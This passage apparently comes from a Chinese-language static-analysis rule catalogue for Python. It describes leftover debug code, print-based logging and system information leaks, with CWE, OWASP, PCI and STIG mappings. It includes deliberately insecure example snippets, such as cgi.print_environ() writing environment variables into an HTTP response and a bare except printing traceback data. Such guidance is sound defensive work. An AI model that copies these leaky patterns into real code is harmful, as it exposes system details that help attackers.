开发者普遍认为需要使用结构化日志记录，但是很多人在“产前”的软件开发中仍使用系统输出流功能。如果您正在检查的代码是在开发阶段的初期生成的，那么对 sys.stdout 或 sys.stderr 的使用可能会在转向结构化日志记录系统的过程中导致漏洞。

RECOMMENDATIONS

使用 Python 日志记录工具而不是 print、sys.stdout 或 sys.stderr。

示例 2：例如，Example 1 中的“hello world”程序可以使用 logging 模块按以下方式进行重写：

import logging

logging.debug("hello world")

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 398

[2] Standards Mapping - FIPS200 AU

[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)

[4] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling

[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7

[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention

[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II

Python Bad Practices: Leftover Debug Code

ABSTRACT

调试代码可以在部署的 Web 应用程序中建立一些意想不到的入口点。

EXPLANATION

在实践中，人们往往为了达到调试和测试代码的目的而输出某些变量的值，同时附带的还有一些本不应提供或保留在正式部署的应用系统中的代码。当这种类型的调试代码意外地留在应用程序中，应用程序可能会在无意间将其泄漏给攻击者。但并不是所有的调试指令都会泄漏敏感或私密信息。然而，调试语句的出现通常意味着附近的代码已被忽略，而且可能处在一种不受维护的状态。

RECOMMENDATIONS

务必在部署应用程序的产品版之前删除调试代码。无论是否存在直接的安全威胁，一旦早期开发阶段结束，就没有任何理由将这样的代码保留在应用程序中。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 489

[2] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[3] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements, 14.2.2 Dependency

[4] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling

[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6

[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5

[12] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention

[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II

[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II

System Information Leak: External

ABSTRACT

揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。

EXPLANATION

当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时，就会发生外部信息泄露。

示例 1：以下代码会在 HTTP 响应中输出所有系统环境变量：

...

import cgi

cgi.print_environ()

...

依据这一系统配置，该信息可转储到控制台，写入日志文件，或者显示给远程用户。例如，凭借脚本机制，可以轻松将输出信息从“标准错误”或“标准输出”重定向至文件或其他程序。或者，运行程序的系统可能具有将日志发送至远程设备的远程日志记录系统，例如“syslog”服务器。在开发过程中，您无法知道此信息最终可能显示的位置。

在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在Example 1中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。

RECOMMENDATIONS

编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。

即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 215, CWE ID 489, CWE ID 497

[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data, 14.3.2 Unintended Security Disclosure Requirements, 14.3.3 Unintended Security Disclosure Requirements, 14.2.2 Dependency

[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage

[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5

[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention

[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[33] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[34] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

System Information Leak: Internal

ABSTRACT

显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。

EXPLANATION

通过打印或日志记录功能将系统数据或调试信息发送到本地文件、控制台或屏幕时，就会发生内部信息泄露。

示例 1：以下代码会将一个异常写入标准输出流：

try:

    ...

except:

    print(sys.exc_info()[2])

此信息将转储到控制台。在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。

RECOMMENDATIONS

即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，”Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 497

[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-002420

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.2 Sensitive Private Data, 8.3.4 Sensitive Private Data, 8.3.4 Sensitive Private Data, 14.3.3 Unintended Security Disclosure Requirements